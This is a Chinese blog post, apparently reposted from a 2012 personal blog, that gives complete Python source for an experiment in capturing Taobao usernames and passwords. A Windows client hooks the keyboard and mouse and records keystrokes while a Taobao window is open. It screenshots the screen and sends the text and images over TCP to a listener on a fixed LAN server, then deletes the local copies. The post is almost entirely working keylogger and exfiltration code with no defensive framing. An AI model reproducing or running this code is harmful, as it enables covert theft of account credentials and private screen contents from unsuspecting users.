Python:通过远程监控用户输入来获取淘宝账号和密码的实验(二)
? 從今天早上產生了寫個獲取淘寶賬號及密碼的想法后,到現在,全天都在看書、調試程序,12小時內寫了三篇相關博客,如下:
? 《Python:通過獲取淘寶賬號和密碼的實驗,來看登陸方式選擇的重要性》
? 《Python:通過獲取淘寶賬號和密碼的實驗,來看登陸方式選擇的重要性(二)》
? 《Python:通過遠程監控用戶輸入來獲取淘寶賬號和密碼的實驗(一)》
? 剛剛把寫完了最后一個功能,將用戶機器上的抓的圖片傳送到監控者的服務器上,加之前面實現的各功能,完整程序代碼如下:
一、代碼:
?1、接收消息服務端(hook_server.py)
#!/usr/bin/env python # -*- coding: utf-8 -*- import socket def hook_tcp_server(): ''' Function:接收遠程機器上發送過來的信息并輸入出到終端 Input:even Output: Ture author: socrates blog:http://blog.csdn.net/dyx1024 date:2012-03-03 ''' host = '192.168.1.101' port = 34586 buf_size = 1024 addr =(host, port) tcp_server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) tcp_server_socket.bind(addr) tcp_server_socket.listen(5) print 'waiting for connectiong...' while True: tcp_client_socket, addr = tcp_server_socket.accept() print 'connected from :', addr while True: msg = tcp_client_socket.recv(buf_size) print msg if not msg: break tcp_client_socket.close() tcp_server_socket.close() if __name__ == '__main__': hook_tcp_server()
2、接收圖片的服務器端(hook_pic_server.py)
#!/usr/bin/env python # -*- coding: utf-8 -*- import socket import struct import time def hook_pic_file_server(): ''' Function:接收遠程機器上發送過來的圖片并保存到本地 Input:even Output: Ture author: socrates blog:http://blog.csdn.net/dyx1024 date:2012-03-03 ''' host = '192.168.1.101' port = 34587 buf_size = 1024 addr =(host, port) pic_file_size_info = struct.calcsize('128s32sI8s') tcp_server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) tcp_server_socket.bind(addr) tcp_server_socket.listen(5) print 'waiting for connectiong...' while True: tcp_client_socket, addr = tcp_server_socket.accept() print 'connected from :', addr pic_file_head = tcp_client_socket.recv(pic_file_size_info) #接收文件頭信息 pic_file_name, temp1, pic_file_size, temp2 = struct.unpack('128s32sI8s', pic_file_head) local_pic_dir = pic_file_name.strip('\0') #接收文件內容 pic_fobj = open(local_pic_dir, 'wb') temp_file_size = pic_file_size while True: if temp_file_size > buf_size: pic_file_data = tcp_client_socket.recv(buf_size) else: pic_file_data = tcp_client_socket.recv(temp_file_size) if pic_file_data: pic_fobj.write(pic_file_data) temp_file_size -= len(pic_file_data) if temp_file_size == 0: break pic_fobj.close() print time.strftime('[%Y-%m-%d %H:%M:%S]: ',time.localtime(time.time()))+ local_pic_dir + ' was received' tcp_client_socket.close() tcp_server_socket.close() if __name__ == '__main__': hook_pic_file_server()
3、客戶端(hook_client.py)
#!/usr/bin/env python # -*- coding: utf-8 -*- import pythoncom import pyHook import time from PIL import ImageGrab import socket import struct import os def send_msg_to_remote(msg): ''' Function:向遠程服務器發送信息 Input:even Output: Ture author: socrates blog:http://blog.csdn.net/dyx1024 date:2012-03-03 ''' host = '192.168.1.101' port = 34586 buf_size = 1024 addr =(host, port) if len(msg) != 0: tcp_client_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: tcp_client_sock.connect(addr) except IOError, e: print ('Error:%s' % e.args[0]) tcp_client_sock.close() data = time.strftime('[%Y-%m-%d %H:%M:%S]',time.localtime(time.time())) tip_info = data + 'from ' + socket.gethostname() + ':' tcp_client_sock.sendall(tip_info + msg) tcp_client_sock.close() def send_pic_file_to_remote(pic_file_name): ''' Function:向遠程服務器發送圖片 Input:even Output: Ture author: socrates blog:http://blog.csdn.net/dyx1024 date:2012-03-03 ''' host = '192.168.1.101' port = 34587 buf_size = 1024 addr =(host, port) pic_file_size = struct.calcsize('128s32sI8s') pic_client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: pic_client_socket.connect(addr) except IOError, e: print ('Error:%s' % e.args[0]) pic_client_socket.close() pic_file_head = struct.pack('128s11I', pic_file_name, 0, 0, 0, 0, 0, 0, 0, 0, os.stat(pic_file_name).st_size, 0, 0) #發送文件信息 pic_client_socket.send(pic_file_head) #發送文件內容 pic_fobj = open(pic_file_name, 'rb') while True: file_data = pic_fobj.read(buf_size) if not file_data: break pic_client_socket.send(file_data) pic_fobj.close() pic_client_socket.close() def onMouseEvent(event): ''' Function:處理鼠標左鍵單擊事件,如果當前MSG中存放了信息, 將其寫入文件,因為有的用戶在輸入 完用戶名后,不是使用TAB鍵切換到密碼 框,而是通過鼠標切換到密碼輸入窗口這種情況應該屬于大多數網民的習慣, 所以此處要判斷是否通過鼠標切換了輸入窗口 Input:even Output: Ture author: socrates blog:http://blog.csdn.net/dyx1024 date:2012-03-03 ''' global MSG if len(MSG) != 0: #屏幕抓圖實現 pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time())) pic = ImageGrab.grab() pic_file_name = '%s.png' % pic_name pic.save(pic_file_name) #向服務器發送文字 send_msg_to_remote(MSG) MSG = '' #向服務器發送圖片 send_pic_file_to_remote(pic_file_name) #刪除本地保存的圖片 os.remove(pic_file_name) return True def onKeyboardEvent(event): "處理鍵盤事件" ''' Function:處理鍵盤事件,如果當前窗口為TAOBAO頁面,剛開始監控并記錄用戶輸入 因為此時用戶可能準備輸入用戶名及密碼進行登陸,所以將用戶輸入的所有可見 的ascii字符記錄下來,此處要考慮用戶是否使用了TAB鍵或回車鍵來 結束輸入,此時要將信息發送給遠程服務器。 Input:even Output: Ture author: socrates blog:http://blog.csdn.net/dyx1024 date:2012-03-03 ''' global MSG if event.WindowName.decode('GBK').find(u"淘寶") != -1: if (127 >= event.Ascii > 31) or (event.Ascii == 8): MSG += chr(event.Ascii) if (event.Ascii == 9) or (event.Ascii == 13): #屏幕抓圖實現 pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time())) pic = ImageGrab.grab() pic_file_name = '%s.png' % pic_name pic.save(pic_file_name) #向服務器發送文字 send_msg_to_remote(MSG) MSG = '' #向服務器發送圖片 send_pic_file_to_remote(pic_file_name) #刪除本地保存的圖片 os.remove(pic_file_name) return True if __name__ == "__main__": ''' Function:獲取TAOBAO賬號及密碼,增加抓圖功能 Input:NONE Output: NONE author: socrates blog:http://blog.csdn.net/dyx1024 date:2012-03-03 ''' MSG = '' #創建hook句柄 hm = pyHook.HookManager() #監控鼠標 hm.SubscribeMouseLeftDown(onMouseEvent) hm.HookMouse() #監控鍵盤 hm.KeyDown = onKeyboardEvent hm.HookKeyboard() #循環獲取消息 pythoncom.PumpMessages()
?1、環境信息:
? ? ? ? ? ?服務端:
? ? ? ? ? ? ? ?消息接收腳本hook_server.py運行于Unbutu上(IP:192.168.1.101,監聽端口:34586)
? ? ? ?圖片接收腳本hook_pic_server.py運行于Unbutu上(IP:192.168.1.101,監聽端口:34587)
? ? ? ? ? ?客戶端:
? ? ? ? ? ? ? 腳本hook_client.py運行于Windows xp上(主機名:winxp-duanyx)
? 2.、實測:? ?a、 用戶在淘寶上操作之后,查看服務器端shell窗口,有如下信息打印,見下圖:
? ? ??
b、查看收到的圖片文件:
c、查看linux上收到的文件圖片:
??
轉載于:https://www.cnblogs.com/dyx1024/archive/2012/03/03/2556693.html
總結
以上是生活随笔為你收集整理的Python:通过远程监控用户输入来获取淘宝账号和密码的实验(二)的全部內容,希望文章能夠幫你解決所遇到的問題。